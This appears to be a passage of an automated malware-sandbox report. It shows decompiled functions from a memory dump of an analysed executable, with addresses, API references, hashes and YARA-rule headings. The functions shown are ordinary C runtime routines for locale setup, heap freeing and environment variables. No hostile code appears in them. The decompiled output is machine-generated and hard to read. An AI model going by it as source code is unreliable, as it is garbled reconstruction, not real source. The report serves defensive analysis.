				 *((intOrPtr*)(_t51 + 0x14)) = 0;
				 *((intOrPtr*)(_t66 - 4)) = 0;
				E00489787(_t66 - 0x68);
				_t72 =  *((char*)(_t66 + 0xc));
				_t36 = 0x40f063;
				_t65 =  *((intOrPtr*)(_t66 - 0x6c));
				if( *((char*)(_t66 + 0xc)) == 0) {
					_t36 =  *((intOrPtr*)(_t65 + 8));
				}
				_push(_t66 - 0x68);
				_push(0);
				 *((intOrPtr*)(_t51 + 8)) = E004302EE(0, _t65, _t66, _t72, _t36);
				 *((intOrPtr*)(_t51 + 0x10)) = E0048BD4A(_t51, 0, _t65, "false", 0, _t66 - 0x3c);
				 *((intOrPtr*)(_t51 + 0x14)) = E0048BD4A(_t51, 0, _t65, "true", 0, _t66 - 0x3c);
				if( *((char*)(_t66 + 0xc)) == 0) {
					 *((short*)(_t51 + 0xc)) =  *((intOrPtr*)( *((intOrPtr*)(_t65 + 0x30))));
					_t45 =  *( *(_t65 + 0x34)) & 0x0000ffff;
				} else {
					 *((short*)(_t51 + 0xc)) = E0048BD19(0x2e, 0, _t66 - 0x3c);
					_t45 = E0048BD19(0x2c, 0, _t66 - 0x3c) & 0x0000ffff;
				}
				 *(_t51 + 0xe) = _t45;
				return E0049D8E9(_t45, 0, _t65);
			}

0x00492b0b
0x00492b0b
0x00492b12
0x00492b17
0x00492b1e
0x00492b25
0x00492b2c
0x00492b2f
0x00492b35
0x00492b39
0x00492b3c
0x00492b3f
0x00492b45
0x00492b49
0x00492b4e
0x00492b52
0x00492b57
0x00492b5c
0x00492b5e
0x00492b5e
0x00492b64
0x00492b65
0x00492b6c
0x00492b7e
0x00492b93
0x00492b9a
0x00492bc6
0x00492bcd
0x00492b9c
0x00492ba8
0x00492bbb
0x00492bbb
0x00492bd0
0x00492bd9

APIs

__EH_prolog3_GS.LIBCMT ref: 00492B12
__Getcvt.LIBCPMT ref: 00492B25
__Getcvt.LIBCPMT ref: 00492B49
_Maklocstr.LIBCPMT ref: 00492B79
_Maklocstr.LIBCPMT ref: 00492B8B
_Maklocchr.LIBCPMT ref: 00492BA3
_Maklocchr.LIBCPMT ref: 00492BB3

Strings

false, xrefs: 00492B74
true, xrefs: 00492B86

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: GetcvtMaklocchrMaklocstr$H_prolog3_
String ID: false$true
API String ID: 2216850052-2658103896
Opcode ID: 044361b3a1b564a52ddb4e68254e8a8b2c8a39fe09bda841936c4e9e462b13a6
Instruction ID: 2a239c2cf79fc622d80201eabdf07e698bc5d1c3e54d0d17c90031374c8ad774
Opcode Fuzzy Hash: 044361b3a1b564a52ddb4e68254e8a8b2c8a39fe09bda841936c4e9e462b13a6
Instruction Fuzzy Hash: 5B215CB1C00344AEDF14EFA2C885A9EBBA8EF44704F00846BF8159F252D7789944CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 004B3527, Relevance: 15.1, APIs: 10, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004B3527(char _a4) {
				char _v8;

				_t26 = _a4;
				_t52 =  *_a4;
				if( *_a4 != 0x406610) {
					E004B2FCF(_t52);
					_t26 = _a4;
				}
				E004B2FCF( *((intOrPtr*)(_t26 + 0x3c)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x30)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x34)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x38)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x28)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x2c)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x40)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x44)));
				E004B2FCF( *((intOrPtr*)(_a4 + 0x360)));
				_v8 =  &_a4;
				E004B33ED(5,  &_v8);
				_v8 =  &_a4;
				return E004B343D(4,  &_v8);
			}

0x004b352d
0x004b3530
0x004b3538
0x004b353b
0x004b3540
0x004b3543
0x004b3547
0x004b3552
0x004b355d
0x004b3568
0x004b3573
0x004b357e
0x004b3589
0x004b3594
0x004b35a2
0x004b35aa
0x004b35b3
0x004b35bb
0x004b35cf

APIs

_free.LIBCMT ref: 004B353B

Part of subcall function 004B2FCF: RtlFreeHeap.NTDLL(00000000,00000000,?,004BD54B,?,00000000,?,00000000,?,004BD7EF,?,00000007,?,?,004BDBE3,?), ref: 004B2FE5

_free.LIBCMT ref: 004B3547
_free.LIBCMT ref: 004B3552
_free.LIBCMT ref: 004B355D
_free.LIBCMT ref: 004B3568
_free.LIBCMT ref: 004B3573
_free.LIBCMT ref: 004B357E
_free.LIBCMT ref: 004B3589
_free.LIBCMT ref: 004B3594
_free.LIBCMT ref: 004B35A2

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$FreeHeap
String ID:
API String ID: 2929853658-0
Opcode ID: d552b49bb115acebe265480194c3efac65798df868a2d2a4c9b8261561751842
Instruction ID: e988418e3e9fb48537df3c9a35a01565191db5c941df199364002db7ffe31753
Opcode Fuzzy Hash: d552b49bb115acebe265480194c3efac65798df868a2d2a4c9b8261561751842
Instruction Fuzzy Hash: 1011B975100108BFCB01FF56C942CED7BB6EF04354B4145ABF9084F666DA75DE50AB64

Uniqueness

Uniqueness Score: -1.00%

Function 004B2885, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E004B2885(void* __ebx, void* __edi, void* __esi, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				signed int _v8;
				short _v270;
				short _v272;
				char _v528;
				char _v700;
				signed int _v704;
				signed int _v708;
				short _v710;
				signed int* _v712;
				signed int _v716;
				signed int _v720;
				signed int _v724;
				signed int* _v728;
				intOrPtr* _v732;
				signed int _v736;
				signed int _v740;
				signed int _v744;
				signed int _t149;
				void* _t156;
				signed int _t157;
				signed int _t158;
				intOrPtr _t159;
				intOrPtr* _t162;
				void* _t166;
				signed int _t167;
				intOrPtr _t169;
				signed int _t172;
				signed int _t173;
				void* _t175;
				void* _t195;
				signed int _t196;
				void* _t199;
				signed int _t204;
				signed int _t207;
				void* _t212;
				intOrPtr* _t213;
				intOrPtr* _t214;
				signed int _t225;
				signed int _t228;
				intOrPtr* _t229;
				signed int _t231;
				signed int* _t235;
				void* _t241;
				void* _t243;
				signed int _t244;
				intOrPtr _t246;
				signed int _t251;
				signed int _t253;
				signed int _t257;
				signed int* _t258;
				intOrPtr* _t259;
				short _t260;
				signed int _t262;
				signed int _t264;
				void* _t266;
				void* _t268;

				_t262 = _t264;
				_t149 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t149 ^ _t262;
				_push(__ebx);
				_t207 = _a8;
				_push(__esi);
				_push(__edi);
				_t246 = _a4;
				_v744 = _t207;
				_v728 = E004B361B(_t207, _t212, _t241) + 0x278;
				_push( &_v708);
				_t156 = E004B1FCF(_t207, _t241, _t246, _a12, _a12,  &_v272, 0x83,  &_v700, 0x55);
				_t266 = _t264 - 0x2e4 + 0x18;
				if(_t156 != 0) {
					_t11 = _t207 + 2; // 0x8
					_t251 = _t11 << 4;
					_t157 =  &_v272;
					_v716 = _t251;
					_t213 =  *((intOrPtr*)(_t251 + _t246));
					while(1) {
						_v704 = _v704 & 0x00000000;
						_t253 = _v716;
						if( *_t157 !=  *_t213) {
							break;
						}
						if( *_t157 == 0) {
							L8:
							_t158 = _v704;
						} else {
							_t260 =  *((intOrPtr*)(_t157 + 2));
							_v710 = _t260;
							_t253 = _v716;
							if(_t260 !=  *((intOrPtr*)(_t213 + 2))) {
								break;
							} else {
								_t157 = _t157 + 4;
								_t213 = _t213 + 4;
								if(_v710 != 0) {
									continue;
								} else {
									goto L8;
								}
							}
						}
						L10:
						if(_t158 != 0) {
							_t214 =  &_v272;
							_t243 = _t214 + 2;
							do {
								_t159 =  *_t214;
								_t214 = _t214 + 2;
							} while (_t159 != _v704);
							_v720 = (_t214 - _t243 >> 1) + 1;
							_t162 = E004B3009(_t214 - _t243 >> 1, 4 + ((_t214 - _t243 >> 1) + 1) * 2);
							_v732 = _t162;
							if(_t162 == 0) {
								goto L1;
							} else {
								_v724 =  *((intOrPtr*)(_t253 + _t246));
								_t35 = _t207 * 4; // 0xbf9d
								_v736 =  *((intOrPtr*)(_t246 + _t35 + 0xa0));
								_t38 = _t246 + 8; // 0x8b56ff8b
								_v740 =  *_t38;
								_t223 =  &_v272;
								_v712 = _t162 + 4;
								_t166 = E004ADE87(_t162 + 4, _v720,  &_v272);
								_t268 = _t266 + 0xc;
								if(_t166 != 0) {
									_t167 = _v704;
									_push(_t167);
									_push(_t167);
									_push(_t167);
									_push(_t167);
									_push(_t167);
									E004A5EA4(_t167);
									asm("int3");
									_t169 =  *0x4ee700; // 0x0
									return _t169;
								} else {
									 *((intOrPtr*)(_t253 + _t246)) = _v712;
									if(_v272 != 0x43 || _v270 != 0) {
										_t172 = E004B1CDC(_t207, _t223, _t246,  &_v700);
										_t225 = _v704;
										 *(_t246 + 0xa0 + _t207 * 4) = _t172;
									} else {
										_t225 = _v704;
										 *(_t246 + 0xa0 + _t207 * 4) = _t225;
									}
									if(_t207 != 2) {
										if(_t207 != 1) {
											if(_t207 == 5) {
												 *((intOrPtr*)(_t246 + 0x14)) = _v708;
											}
										} else {
											 *((intOrPtr*)(_t246 + 0x10)) = _v708;
										}
									} else {
										_t258 = _v728;
										_t244 = _t225;
										_t235 = _t258;
										 *(_t246 + 8) = _v708;
										_v712 = _t258;
										_v720 = _t258[8];
										_v708 = _t258[9];
										while(1) {
											_t64 = _t246 + 8; // 0x8b56ff8b
											if( *_t64 ==  *_t235) {
												break;
											}
											_t259 = _v712;
											_t244 = _t244 + 1;
											_t204 =  *_t235;
											 *_t259 = _v720;
											_v708 = _t235[1];
											_t235 = _t259 + 8;
											 *((intOrPtr*)(_t259 + 4)) = _v708;
											_t207 = _v744;
											_t258 = _v728;
											_v720 = _t204;
											_v712 = _t235;
											if(_t244 < 5) {
												continue;
											} else {
											}
											L27:
											if(_t244 == 5) {
												_t88 = _t246 + 8; // 0x8b56ff8b
												_t195 = E004BAE04(_t207, _t246, _t258, _v704, 1, 0x406818, 0x7f,  &_v528,  *_t88, 1);
												_t268 = _t268 + 0x1c;
												_t196 = _v704;
												if(_t195 == 0) {
													_t258[1] = _t196;
												} else {
													do {
														 *(_t262 + _t196 * 2 - 0x20c) =  *(_t262 + _t196 * 2 - 0x20c) & 0x000001ff;
														_t196 = _t196 + 1;
													} while (_t196 < 0x7f);
													_t199 = E0049FC6A( &_v528,  *0x4eb1bc, 0xfe);
													_t268 = _t268 + 0xc;
													_t258[1] = 0 | _t199 == 0x00000000;
												}
												_t103 = _t246 + 8; // 0x8b56ff8b
												 *_t258 =  *_t103;
											}
											 *(_t246 + 0x18) = _t258[1];
											goto L38;
										}
										if(_t244 != 0) {
											 *_t258 =  *(_t258 + _t244 * 8);
											_t258[1] =  *(_t258 + 4 + _t244 * 8);
											 *(_t258 + _t244 * 8) = _v720;
											 *(_t258 + 4 + _t244 * 8) = _v708;
										}
										goto L27;
									}
									L38:
									_t173 = _t207 * 0xc;
									_t110 = _t173 + 0x406758; // 0x42dfbc
									 *0x4f02b4(_t246);
									_t175 =  *((intOrPtr*)( *_t110))();
									_t228 = _v724;
									if(_t175 == 0) {
										if(_t228 != 0x4eb288) {
											_t257 = _t207 + _t207;
											asm("lock xadd [eax], ecx");
											if(_t257 != 0) {
												goto L43;
											} else {
												_t128 = _t257 * 8; // 0x30ff068b
												E004B2FCF( *((intOrPtr*)(_t246 + _t128 + 0x28)));
												_t131 = _t257 * 8; // 0x30ff0c46
												E004B2FCF( *((intOrPtr*)(_t246 + _t131 + 0x24)));
												_t134 = _t207 * 4; // 0xbf9d
												E004B2FCF( *((intOrPtr*)(_t246 + _t134 + 0xa0)));
												_t231 = _v704;
												 *((intOrPtr*)(_v716 + _t246)) = _t231;
												 *(_t246 + 0xa0 + _t207 * 4) = _t231;
											}
										}
										_t229 = _v732;
										 *_t229 = 1;
										 *((intOrPtr*)(_t246 + 0x28 + (_t207 + _t207) * 8)) = _t229;
									} else {
										 *(_v716 + _t246) = _t228;
										_t115 = _t207 * 4; // 0xbf9d
										E004B2FCF( *((intOrPtr*)(_t246 + _t115 + 0xa0)));
										 *(_t246 + 0xa0 + _t207 * 4) = _v736;
										E004B2FCF(_v732);
										 *(_t246 + 8) = _v740;
										goto L1;
									}
									goto L2;
								}
							}
						} else {
							goto L2;
						}
						goto L47;
					}
					asm("sbb eax, eax");
					_t158 = _t157 | 0x00000001;
					goto L10;
				} else {
					L1:
					L2:
					return E0049CE1D(_v8 ^ _t262);
				}
				L47:
			}

0x004b2888
0x004b2890
0x004b2897
0x004b289a
0x004b289b
0x004b289e
0x004b28a2
0x004b28a3
0x004b28a6
0x004b28b6
0x004b28c2
0x004b28d9
0x004b28de
0x004b28e3
0x004b28f8
0x004b28fb
0x004b28fe
0x004b2904
0x004b290d
0x004b290f
0x004b2912
0x004b291c
0x004b2922
0x00000000
0x00000000
0x004b2928
0x004b2951
0x004b2951
0x004b292a
0x004b292a
0x004b2932
0x004b2939
0x004b293f
0x00000000
0x004b2941
0x004b2941
0x004b2944
0x004b294f
0x00000000
0x00000000
0x00000000
0x00000000
0x004b294f
0x004b293f
0x004b295e
0x004b2960
0x004b2966
0x004b296c
0x004b296f
0x004b296f
0x004b2972
0x004b2975
0x004b2985
0x004b2993
0x004b2998
0x004b29a1
0x00000000
0x004b29a7
0x004b29ad
0x004b29b3
0x004b29ba
0x004b29c0
0x004b29c3
0x004b29c9
0x004b29d6
0x004b29dd
0x004b29e2
0x004b29e7
0x004b2c40
0x004b2c46
0x004b2c47
0x004b2c48
0x004b2c49
0x004b2c4a
0x004b2c4b
0x004b2c50
0x004b2c51
0x004b2c56
0x004b29ed
0x004b29fb
0x004b29fe
0x004b2a20
0x004b2a26
0x004b2a2c
0x004b2a0a
0x004b2a0a
0x004b2a10
0x004b2a10
0x004b2a36
0x004b2b56
0x004b2b66
0x004b2b6e
0x004b2b6e
0x004b2b58
0x004b2b5e
0x004b2b5e
0x004b2a3c
0x004b2a3c
0x004b2a42
0x004b2a4a
0x004b2a4c
0x004b2a4f
0x004b2a58
0x004b2a61
0x004b2a67
0x004b2a67
0x004b2a6c
0x00000000
0x00000000
0x004b2a6e
0x004b2a74
0x004b2a75
0x004b2a80
0x004b2a88
0x004b2a90
0x004b2a93
0x004b2a96
0x004b2a9c
0x004b2aa2
0x004b2aa8
0x004b2ab1
0x00000000
0x00000000
0x004b2ab3
0x004b2ad8
0x004b2adb
0x004b2adf
0x004b2af8
0x004b2afd
0x004b2b02
0x004b2b08
0x004b2b43
0x004b2b0a
0x004b2b0a
0x004b2b0f
0x004b2b17
0x004b2b18
0x004b2b2f
0x004b2b36
0x004b2b3e
0x004b2b3e
0x004b2b46
0x004b2b49
0x004b2b49
0x004b2b4e
0x00000000
0x004b2b4e
0x004b2ab7
0x004b2abc
0x004b2ac2
0x004b2acb
0x004b2ad4
0x004b2ad4
0x00000000
0x004b2ab7
0x004b2b71
0x004b2b71
0x004b2b75
0x004b2b7d
0x004b2b83
0x004b2b86
0x004b2b8e
0x004b2bd4
0x004b2bdb
0x004b2be1
0x004b2be5
0x00000000
0x004b2be7
0x004b2be7
0x004b2beb
0x004b2bf0
0x004b2bf4
0x004b2bf9
0x004b2c00
0x004b2c0e
0x004b2c14
0x004b2c17
0x004b2c17
0x004b2be5
0x004b2c26
0x004b2c2e
0x004b2c37
0x004b2b90
0x004b2b96
0x004b2b99
0x004b2ba0
0x004b2bb2
0x004b2bb9
0x004b2bc6
0x00000000
0x004b2bc6
0x00000000
0x004b2b8e
0x004b29e7
0x004b2962
0x00000000
0x004b2962
0x00000000
0x004b2960
0x004b2959
0x004b295b
0x00000000
0x004b28e5
0x004b28e5
0x004b28e7
0x004b28f7
0x004b28f7
0x00000000

APIs

Part of subcall function 004B361B: _free.LIBCMT ref: 004B3652

_memcmp.LIBVCRUNTIME ref: 004B2B2F
_free.LIBCMT ref: 004B2BA0
_free.LIBCMT ref: 004B2BB9
_free.LIBCMT ref: 004B2BEB
_free.LIBCMT ref: 004B2BF4
_free.LIBCMT ref: 004B2C00

Strings

C, xrefs: 004B29ED

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _free$_memcmp
String ID: C
API String ID: 789029625-1037565863
Opcode ID: ffe99c5f0e32d20ec8462e4ce7ce940dd636dfd0f490fe2bbf7c2a55b950f009
Instruction ID: 1dbb4ecf0784a2d49935978fcbc54ed0954668edfbddf53bd29e5c59fea9c168
Opcode Fuzzy Hash: ffe99c5f0e32d20ec8462e4ce7ce940dd636dfd0f490fe2bbf7c2a55b950f009
Instruction Fuzzy Hash: 17B12875A0121A9FDB24DF19C984AEEB7B4FF08304F1045AEE909A7350DB75AE90CF64

Uniqueness

Uniqueness Score: -1.00%

Function 004BC505, Relevance: 12.2, APIs: 8, Instructions: 209
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004BC505(signed int _a4, signed int _a8) {
				intOrPtr _v0;
				intOrPtr _v4;
				signed char _v5;
				signed int _v12;
				signed int _v16;
				signed int _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				signed int _t64;
				signed int _t65;
				signed int _t68;
				signed int _t69;
				signed int _t73;
				signed int* _t75;
				signed int _t82;
				signed int _t84;
				signed int _t86;
				signed int _t87;
				signed int _t91;
				signed int _t98;
				intOrPtr* _t99;
				signed int _t108;
				signed int _t109;
				signed int _t111;
				signed int _t112;
				intOrPtr _t115;
				void* _t119;
				signed int _t121;
				void* _t124;
				signed int _t125;
				signed int _t126;
				void* _t131;
				intOrPtr* _t135;
				signed int _t139;
				signed int _t141;
				void* _t142;
				void* _t143;
				signed int _t144;
				signed int _t146;
				signed int* _t147;
				signed int _t152;
				signed int _t153;
				signed int _t154;
				signed int _t155;
				signed int* _t156;
				signed int _t157;
				signed int _t159;
				void* _t164;
				void* _t166;
				void* _t167;

				_t111 = _a4;
				if(_t111 != 0) {
					_t144 = _t111;
					_t58 = E004C4160(_t111, 0x3d);
					_v16 = _t58;
					_t119 = _t143;
					__eflags = _t58;
					if(_t58 == 0) {
						L10:
						 *((intOrPtr*)(E004A966E())) = 0x16;
						goto L11;
					} else {
						__eflags = _t58 - _t111;
						if(_t58 == _t111) {
							goto L10;
						} else {
							__eflags =  *((char*)(_t58 + 1));
							_t152 =  *0x4ee6c8; // 0x14d52d0
							_t62 = _t58 & 0xffffff00 |  *((char*)(_t58 + 1)) == 0x00000000;
							_v5 = _t62;
							__eflags = _t152 -  *0x4ee6d4; // 0x14d52d0
							if(__eflags == 0) {
								L44();
								_t152 = _t62;
								_t62 = _v5;
								_t119 = _t152;
								 *0x4ee6c8 = _t152;
							}
							_t112 = 0;
							__eflags = _t152;
							if(_t152 != 0) {
								L21:
								_t121 = _t144;
								_t64 = _v16 - _t121;
								_push(_t64);
								_push(_t121);
								L61();
								_v12 = _t64;
								__eflags = _t64;
								if(_t64 < 0) {
									L29:
									__eflags = _v5 - _t112;
									if(_v5 != _t112) {
										goto L12;
									} else {
										_t65 =  ~_t64;
										_v12 = _t65;
										_t27 = _t65 + 2; // 0x2
										_t124 = _t27;
										__eflags = _t124 - _t65;
										if(_t124 < _t65) {
											goto L11;
										} else {
											__eflags = _t124 - 0x3fffffff;
											if(_t124 >= 0x3fffffff) {
												goto L11;
											} else {
												_push(4);
												_push(_t124);
												_t153 = E004B2CEB(_t152);
												E004B2FCF(_t112);
												_t166 = _t166 + 0x10;
												__eflags = _t153;
												if(_t153 == 0) {
													goto L11;
												} else {
													_t125 = _v12;
													_t144 = _t112;
													_t68 = _a4;
													 *(_t153 + _t125 * 4) = _t68;
													 *(_t153 + 4 + _t125 * 4) = _t112;
													goto L34;
												}
											}
										}
									}
								} else {
									__eflags =  *_t152 - _t112;
									if( *_t152 == _t112) {
										goto L29;
									} else {
										E004B2FCF( *((intOrPtr*)(_t152 + _t64 * 4)));
										_t141 = _v12;
										__eflags = _v5 - _t112;
										if(_v5 != _t112) {
											while(1) {
												__eflags =  *(_t152 + _t141 * 4) - _t112;
												if( *(_t152 + _t141 * 4) == _t112) {
													break;
												}
												 *(_t152 + _t141 * 4) =  *(_t152 + 4 + _t141 * 4);
												_t141 = _t141 + 1;
												__eflags = _t141;
											}
											_push(4);
											_push(_t141);
											_t153 = E004B2CEB(_t152);
											E004B2FCF(_t112);
											_t166 = _t166 + 0x10;
											_t68 = _t144;
											__eflags = _t153;
											if(_t153 != 0) {
												L34:
												 *0x4ee6c8 = _t153;
											}
										} else {
											_t68 = _a4;
											_t144 = _t112;
											 *(_t152 + _t141 * 4) = _t68;
										}
										__eflags = _a8 - _t112;
										if(_a8 == _t112) {
											goto L12;
										} else {
											_t126 = _t68;
											_t142 = _t126 + 1;
											do {
												_t69 =  *_t126;
												_t126 = _t126 + 1;
												__eflags = _t69;
											} while (_t69 != 0);
											_v12 = _t126 - _t142 + 2;
											_t154 = E004B2F72(_t126 - _t142, _t126 - _t142 + 2, 1);
											_pop(_t129);
											__eflags = _t154;
											if(_t154 == 0) {
												L42:
												E004B2FCF(_t154);
												goto L12;
											} else {
												_t73 = E004AD3A2(_t154, _v12, _a4);
												_t167 = _t166 + 0xc;
												__eflags = _t73;
												if(_t73 != 0) {
													_push(_t112);
													_push(_t112);
													_push(_t112);
													_push(_t112);
													_push(_t112);
													E004A5EA4(_t73);
													asm("int3");
													_t164 = _t167;
													_push(_t144);
													_t146 = _v44;
													__eflags = _t146;
													if(_t146 != 0) {
														_t131 = 0;
														_t75 = _t146;
														__eflags =  *_t146;
														if( *_t146 != 0) {
															do {
																_t75 =  &(_t75[1]);
																_t131 = _t131 + 1;
																__eflags =  *_t75;
															} while ( *_t75 != 0);
														}
														_push(_t154);
														_t47 = _t131 + 1; // 0x2
														_t155 = E004B2F72(_t131, _t47, 4);
														__eflags = _t155;
														if(_t155 == 0) {
															L59:
															E004AEA83(_t112, _t142, _t146, _t155);
															goto L60;
														} else {
															__eflags =  *_t146;
															if( *_t146 == 0) {
																L57:
																E004B2FCF(0);
																_t86 = _t155;
																goto L58;
															} else {
																_push(_t112);
																_t112 = _t155 - _t146;
																__eflags = _t112;
																do {
																	_t135 =  *_t146;
																	_t48 = _t135 + 1; // 0x5
																	_t142 = _t48;
																	do {
																		_t87 =  *_t135;
																		_t135 = _t135 + 1;
																		__eflags = _t87;
																	} while (_t87 != 0);
																	_t49 = _t135 - _t142 + 1; // 0x6
																	_v12 = _t49;
																	 *(_t112 + _t146) = E004B2F72(_t135 - _t142, _t49, 1);
																	E004B2FCF(0);
																	_t167 = _t167 + 0xc;
																	__eflags =  *(_t112 + _t146);
																	if( *(_t112 + _t146) == 0) {
																		goto L59;
																	} else {
																		_t91 = E004AD3A2( *(_t112 + _t146), _v12,  *_t146);
																		_t167 = _t167 + 0xc;
																		__eflags = _t91;
																		if(_t91 != 0) {
																			L60:
																			_push(0);
																			_push(0);
																			_push(0);
																			_push(0);
																			_push(0);
																			E004A5EA4(0);
																			asm("int3");
																			_push(_t164);
																			_push(_t112);
																			_push(_t155);
																			_push(_t146);
																			_t147 =  *0x4ee6c8; // 0x14d52d0
																			_t156 = _t147;
																			__eflags =  *_t147;
																			if( *_t147 == 0) {
																				L67:
																				_t157 = _t156 - _t147;
																				__eflags = _t157;
																				_t159 =  ~(_t157 >> 2);
																			} else {
																				_t115 = _v0;
																				do {
																					_t82 = E004B909A(_v4,  *_t156, _t115);
																					_t167 = _t167 + 0xc;
																					__eflags = _t82;
																					if(_t82 != 0) {
																						goto L66;
																					} else {
																						_t84 =  *((intOrPtr*)(_t115 +  *_t156));
																						__eflags = _t84 - 0x3d;
																						if(_t84 == 0x3d) {
																							L69:
																							_t159 = _t156 - _t147 >> 2;
																						} else {
																							__eflags = _t84;
																							if(_t84 == 0) {
																								goto L69;
																							} else {
																								goto L66;
																							}
																						}
																					}
																					goto L68;
																					L66:
																					_t156 =  &(_t156[1]);
																					__eflags =  *_t156;
																				} while ( *_t156 != 0);
																				goto L67;
																			}
																			L68:
																			return _t159;
																		} else {
																			goto L55;
																		}
																	}
																	goto L70;
																	L55:
																	_t146 = _t146 + 4;
																	__eflags =  *_t146 - _t91;
																} while ( *_t146 != _t91);
																goto L57;
															}
														}
													} else {
														_t86 = 0;
														L58:
														return _t86;
													}
												} else {
													_t139 = _v16 + 1 + _t154 - _a4;
													asm("sbb eax, eax");
													 *(_t139 - 1) = _t112;
													_t98 =  *0x4f0244(_t154,  !( ~(_v5 & 0x000000ff)) & _t139);
													__eflags = _t98;
													if(_t98 == 0) {
														_t99 = E004A966E();
														_t112 = _t112 | 0xffffffff;
														__eflags = _t112;
														 *_t99 = 0x2a;
													}
													goto L42;
												}
											}
										}
									}
								}
							} else {
								__eflags = _a8;
								if(_a8 == 0) {
									L14:
									__eflags = _t62;
									if(_t62 == 0) {
										 *0x4ee6c8 = E004B2F72(_t119, 1, 4);
										E004B2FCF(_t112);
										_t152 =  *0x4ee6c8; // 0x14d52d0
										_t166 = _t166 + 0xc;
										__eflags = _t152;
										if(_t152 == 0) {
											goto L11;
										} else {
											__eflags =  *0x4ee6cc - _t112; // 0x0
											if(__eflags != 0) {
												goto L20;
											} else {
												 *0x4ee6cc = E004B2F72(_t119, 1, 4);
												E004B2FCF(_t112);
												_t166 = _t166 + 0xc;
												__eflags =  *0x4ee6cc - _t112; // 0x0
												if(__eflags == 0) {
													goto L11;
												} else {
													goto L19;
												}
											}
										}
									} else {
										_t112 = 0;
										goto L12;
									}
								} else {
									__eflags =  *0x4ee6cc - _t112; // 0x0
									if(__eflags == 0) {
										goto L14;
									} else {
										_t108 = L004B12D1(0);
										__eflags = _t108;
										if(_t108 != 0) {
											L19:
											_t152 =  *0x4ee6c8; // 0x14d52d0
											L20:
											__eflags = _t152;
											if(_t152 == 0) {
												L11:
												_t112 = _t111 | 0xffffffff;
												__eflags = _t112;
												L12:
												E004B2FCF(_t144);
												_t61 = _t112;
												goto L13;
											} else {
												goto L21;
											}
										} else {
											goto L10;
										}
									}
								}
							}
						}
					}
				} else {
					_t109 = E004A966E();
					 *_t109 = 0x16;
					_t61 = _t109 | 0xffffffff;
					L13:
					return _t61;
				}
				L70:
			}

0x004bc50e
0x004bc513
0x004bc52a
0x004bc52c
0x004bc531
0x004bc535
0x004bc536
0x004bc538
0x004bc588
0x004bc58d
0x00000000
0x004bc53a
0x004bc53a
0x004bc53c
0x00000000
0x004bc53e
0x004bc53e
0x004bc542
0x004bc548
0x004bc54b
0x004bc54e
0x004bc554
0x004bc557
0x004bc55c
0x004bc55e
0x004bc561
0x004bc562
0x004bc562
0x004bc568
0x004bc56a
0x004bc56c
0x004bc600
0x004bc603
0x004bc605
0x004bc607
0x004bc608
0x004bc609
0x004bc60e
0x004bc613
0x004bc615
0x004bc65f
0x004bc65f
0x004bc662
0x00000000
0x004bc668
0x004bc668
0x004bc66a
0x004bc66d
0x004bc66d
0x004bc670
0x004bc672
0x00000000
0x004bc678
0x004bc678
0x004bc67e
0x00000000
0x004bc684
0x004bc684
0x004bc686
0x004bc68e
0x004bc690
0x004bc695
0x004bc698
0x004bc69a
0x00000000
0x004bc6a0
0x004bc6a0
0x004bc6a3
0x004bc6a5
0x004bc6a8
0x004bc6ab
0x00000000
0x004bc6ab
0x004bc69a
0x004bc67e
0x004bc672
0x004bc617
0x004bc617
0x004bc619
0x00000000
0x004bc61b
0x004bc61e
0x004bc624
0x004bc627
0x004bc62a
0x004bc63e
0x004bc63e
0x004bc641
0x00000000
0x00000000
0x004bc63a
0x004bc63d
0x004bc63d
0x004bc63d
0x004bc643
0x004bc645
0x004bc64d
0x004bc64f
0x004bc654
0x004bc657
0x004bc659
0x004bc65b
0x004bc6af
0x004bc6af
0x004bc6af
0x004bc62c
0x004bc62c
0x004bc62f
0x004bc631
0x004bc631
0x004bc6b5
0x004bc6b8
0x00000000
0x004bc6be
0x004bc6be
0x004bc6c0
0x004bc6c3
0x004bc6c3
0x004bc6c5
0x004bc6c6
0x004bc6c6
0x004bc6d2
0x004bc6da
0x004bc6dd
0x004bc6de
0x004bc6e0
0x004bc729
0x004bc72a
0x00000000
0x004bc6e2
0x004bc6e9
0x004bc6ee
0x004bc6f1
0x004bc6f3
0x004bc735
0x004bc736
0x004bc737
0x004bc738
0x004bc739
0x004bc73a
0x004bc73f
0x004bc743
0x004bc746
0x004bc747
0x004bc74a
0x004bc74c
0x004bc755
0x004bc757
0x004bc759
0x004bc75b
0x004bc75d
0x004bc75d
0x004bc760
0x004bc761
0x004bc761
0x004bc75d
0x004bc766
0x004bc767
0x004bc772
0x004bc776
0x004bc778
0x004bc7df
0x004bc7df
0x00000000
0x004bc77a
0x004bc77a
0x004bc77d
0x004bc7cf
0x004bc7d1
0x004bc7d7
0x00000000
0x004bc77f
0x004bc77f
0x004bc782
0x004bc782
0x004bc784
0x004bc784
0x004bc786
0x004bc786
0x004bc789
0x004bc789
0x004bc78b
0x004bc78c
0x004bc78c
0x004bc794
0x004bc798
0x004bc7a2
0x004bc7a5
0x004bc7aa
0x004bc7ad
0x004bc7b1
0x00000000
0x004bc7b3
0x004bc7bb
0x004bc7c0
0x004bc7c3
0x004bc7c5
0x004bc7e4
0x004bc7e6
0x004bc7e7
0x004bc7e8
0x004bc7e9
0x004bc7ea
0x004bc7eb
0x004bc7f0
0x004bc7f3
